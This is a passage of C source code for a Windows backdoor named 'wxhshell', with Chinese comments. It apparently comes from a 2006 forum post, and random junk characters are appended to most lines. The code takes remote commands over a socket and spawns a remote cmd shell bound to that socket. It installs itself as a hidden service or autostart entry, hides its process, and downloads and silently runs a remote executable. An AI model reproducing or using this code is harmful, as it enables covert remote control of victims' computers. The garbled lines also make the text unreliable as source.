  // 帮助 yH]Q;X '  
  case '?': { K!qOO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]" e'z  
    break; KQb&7k .  
  } V_ , `?>O  
  // 安装 iPV-w_HQ  
  case 'i': { &]LpGl  
    if(Install()) Hc@_@G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - AgD  
    else k!z<=WA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ja~Dp5  
    break; ! [1aP,  
    } R&6@*Nn  
  // 卸载 $M4Z_zle)  
  case 'r': { ybsw{[X>M  
    if(Uninstall()) %7 yQ0'P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,u^{zYoW  
    else rv(N0p/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aem gGw<  
    break; R`DzVBLl  
    } 3) d }3w {  
  // 显示 wxhshell 所在路径 R4VX*qkB  
  case 'p': { 5@r6'Z  
    char svExeFile[MAX_PATH]; u-y?i`  
    strcpy(svExeFile,"\n\r"); ,SNrcwv  
      strcat(svExeFile,ExeFile); Ipq0 1 +  
        send(wsh,svExeFile,strlen(svExeFile),0); )`{m |\b  
    break; xM!9$v  
    } !4D?X\~"%  
  // 重启 _b/zBFa%  
  case 'b': { Jnd_cJ]a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .tGz,z}  
    if(Boot(REBOOT)) vV$t`PEY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LQr!0p.i"  
    else { RCYv2=m>Q  
    closesocket(wsh); 6nE/8m  
    ExitThread(0); ?D2a"a$^  
    } <XG]aYBR  
    break; oy#(]K3`O  
    } 4H,c;g=!  
  // 关机 p`A2^FS)  
  case 'd': { QD{1?aY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VpY D/Oj4;  
    if(Boot(SHUTDOWN)) r5UV BV8T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OomC%9/=,  
    else { l,]%D  
    closesocket(wsh); ?Y -;781  
    ExitThread(0); T30fp  
    } s@"|o3BX  
    break; \b $pH  
    } Ssz;d&93  
  // 获取shell "P@ SR`v#  
  case 's': { w0Nm.=I-   
    CmdShell(wsh); ,D*bLXWh  
    closesocket(wsh); <yX  u!  
    ExitThread(0); wMN{9Ce3j  
    break; &v*4AZ['  
  } w9<'0wcs  
  // 退出 J^7M0A4K  
  case 'x': { ~!2fUewEu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;SjNZi)4d  
    CloseIt(wsh); T]z(>{  
    break; /;Hqv`X7  
    } N9#xTX  
  // 离开 w.aEc}@(^  
  case 'q': { DpA)Vdj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o!~XYEXvUa  
    closesocket(wsh); 4t }wMOR  
    WSACleanup(); *_YR*e0^nN  
    exit(1); L5zCL0j`  
    break; 0AffD:  
        } <F&XT@  
  } o938!jML_  
  } \WTKw x  
6@/k|t>OT  
  // 提示信息 7- LjBlH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MG.c`t/w  
} l#T %N@X  
  } psmDGSm,&  
Or?c21un  
  return; )V>OND  
} |hi,]D^Kc  
fV Y I  
// shell模块句柄 G8__6v~  
int CmdShell(SOCKET sock) sCY  
{ 56c[$ q  
STARTUPINFO si; ReM]I<WuY  
ZeroMemory(&si,sizeof(si)); {*hvzS{1d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'Z.C&6_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rzs u 7w  
PROCESS_INFORMATION ProcessInfo; j0~c2  
char cmdline[]="cmd"; \6/ Gy!0h-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fgj$ u  
  return 0; /0gr?I1wr7  
} 2bw) , W  
1Dhe! n#  
// 自身启动模式 VK*`&D<P  
int StartFromService(void) ke;=Vg|  
{ Z:AB (c  
typedef struct f'5 6IT  
{ nt()UC`5  
  DWORD ExitStatus; $MQ<QP  
  DWORD PebBaseAddress; /{[<J<(8  
  DWORD AffinityMask; {.e+?V2>_  
  DWORD BasePriority; '/ \*l<  
  ULONG UniqueProcessId; c u";rnj  
  ULONG InheritedFromUniqueProcessId; s#a`e]#?  
}   PROCESS_BASIC_INFORMATION; +HUy,@^ Pa  
B/@LE{qUn  
PROCNTQSIP NtQueryInformationProcess; XgnNYy6W  
LprGsqr:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3w |5%`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )7+z/y+[n  
hO3 q|SL  
  HANDLE             hProcess; {Y2 J:x  
  PROCESS_BASIC_INFORMATION pbi; LVdR,'lS  
mejNa(D ^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~4FzA,,  
  if(NULL == hInst ) return 0; wL:7G  
g| 3bM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sxRKWM@4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WFk%nO/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2!W[ff@~7  
:tnW ivrwR  
  if (!NtQueryInformationProcess) return 0; k\SqDmv  
UNiK6h_%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :5j+^/   
  if(!hProcess) return 0; ZQKo ]Kdr  
JM/\n 4ea:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &0bq3JGW  
"HqmS  
  CloseHandle(hProcess); Q=DMfJ"  
oidK_mU9q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n!8W@qhew  
if(hProcess==NULL) return 0; i4k [#x  
Btzes.  
HMODULE hMod; 8pr toCB  
char procName[255]; ^;s/4  
unsigned long cbNeeded; 3`{ vx  
rloxM~7!,)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j<BRaT  
GLZ*5kw  
  CloseHandle(hProcess); NhNd+SCZ@  
y!x[N!a  
if(strstr(procName,"services")) return 1; // 以服务启动 M"p%CbcI]  
Pke8RLg2A  
  return 0; // 注册表启动 Y-1K'VhT  
} FMF  mn|  
C|IHRw`[  
// 主模块 "bRjY?D  
int StartWxhshell(LPSTR lpCmdLine) /\mYXi \  
{ LQ%QFfC  
  SOCKET wsl; E.Th}+  
BOOL val=TRUE; $vO<v<I'Gb  
  int port=0; <{;'0> ToM  
  struct sockaddr_in door; @oH\r-jsgu  
.XeZjoJ$z  
  if(wscfg.ws_autoins) Install(); EJ<L,QH3  
M,ybj5:6  
port=atoi(lpCmdLine); hPG@iX|V  
)l m7ly8a|  
if(port<=0) port=wscfg.ws_port; 45[,LJaMd  
<Dgf'Gr J  
  WSADATA data; gq*W 0S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T@P~A)>yo  
)OFN0'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #tsP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  HRbv%  
  door.sin_family = AF_INET; <<gW`KF   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [hot,\+f  
  door.sin_port = htons(port); <wFmfrx+v  
ONpvx5'#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bw/mF5AsW  
closesocket(wsl); qHyOaK Md  
return 1; Z{l`X#':  
} `# !>}/m  
4:O.x#p  
  if(listen(wsl,2) == INVALID_SOCKET) { 1GkoE  
closesocket(wsl); ' CJ_&HR  
return 1; dZ* &3.#D5  
} Y$Rte .?  
  Wxhshell(wsl); m*iSW]&  
  WSACleanup(); NPO!J^^  
EFI!b60mc  
return 0; gG.+3=  
xfX|AC  
} T1Z*>(M  
 Glx{Zu=  
// 以NT服务方式启动 daSx^/$R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u^]Gc p  
{ W]bytsl  
DWORD   status = 0; AEWrrE  
  DWORD   specificError = 0xfffffff; D(|+z-}M  
N`H`\+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <Tbl |9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZR)M<*$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aA>!p{/x  
  serviceStatus.dwWin32ExitCode     = 0; y,jpd#Y  
  serviceStatus.dwServiceSpecificExitCode = 0; ir\)Hz2P  
  serviceStatus.dwCheckPoint       = 0; !U2<\!_  
  serviceStatus.dwWaitHint       = 0; HL$7Ou  
p(4B"[!S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T.;U~<  
  if (hServiceStatusHandle==0) return; ?kV_!2U)'K  
,+v(?5[6  
status = GetLastError(); x@O )QaBN!  
  if (status!=NO_ERROR) lF46W  
{ [z7]@v6b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z,dF Dl$  
    serviceStatus.dwCheckPoint       = 0; Z RwN#?x  
    serviceStatus.dwWaitHint       = 0; k+i0@G'C(  
    serviceStatus.dwWin32ExitCode     = status; m8b-\^eP7  
    serviceStatus.dwServiceSpecificExitCode = specificError; &jg>X+;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n++ak\  
    return; Unt]=S3u  
  } fo>_*6i74  
@J^ Oy 3z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &IDT[J  
  serviceStatus.dwCheckPoint       = 0; 9|@5eN:N  
  serviceStatus.dwWaitHint       = 0; /&@q*L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #ifjQ7(:  
} 5__B M5|  
?uP5("c  
// 处理NT服务事件,比如:启动、停止 G'wW-|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @'hkU$N)  
{ -<T> paE9  
switch(fdwControl) *N{k#d/  
{ SjA'<ZX>TM  
case SERVICE_CONTROL_STOP: 4 s9^%K\8{  
  serviceStatus.dwWin32ExitCode = 0; &h6 `hP_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {m,LpI0wG  
  serviceStatus.dwCheckPoint   = 0; , :KJ({wM  
  serviceStatus.dwWaitHint     = 0; td$RDtW[3  
  { D^];6\=.i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S&cN+r  
  } 37tJ6R6[  
  return; D=5%lL  
case SERVICE_CONTROL_PAUSE: Yyw3+3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W5Jb5  
  break; pA@R,O>zr  
case SERVICE_CONTROL_CONTINUE: *|L;&XM&/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2*n~r  
  break; mpIR: Im  
case SERVICE_CONTROL_INTERROGATE: v`7~#Avhz  
  break; &wkb r2P  
}; Ne1W!0YLK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -B7X;{  
} Rp_}_hL0  
H~ >\HV*  
// 标准应用程序主函数 =|^R<#%/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :F"NF  
{ nU2w\(3|  
<]`|HJoy  
// 获取操作系统版本 9r8bSV3`  
OsIsNt=GetOsVer(); ?xQm_ 91X^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ycxv=Et  
f{(D+7e}  
  // 从命令行安装 ue!4By8T  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1wggYX  
bK!uR&i^l  
  // 下载执行文件 S1i~r+jf  
if(wscfg.ws_downexe) { 7 3ABop  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5'wFZ=>vMt  
  WinExec(wscfg.ws_filenam,SW_HIDE); +ul.P)1J6  
} (~PT(B?  
mJVru0  
if(!OsIsNt) { ]<_v;Q<t  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZRa~miKyM  
HideProc(); uxW<Eh4H*  
StartWxhshell(lpCmdLine); ,A0v 5Q<  
} Fj&8wZ)v)  
else Ff[GR$m  
  if(StartFromService()) ,!^;<UR:  
  // 以服务方式启动 v/Xz.?a\jF  
  StartServiceCtrlDispatcher(DispatchTable); 3#`Sk`z<  
else `4qtmbj  
  // 普通方式启动 Bthp_cSmLs  
  StartWxhshell(lpCmdLine); R]S!PSoL  
o4B%TW  
return 0; #<-%%  
}
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只看该作者 1 发表于: 2006-10-10
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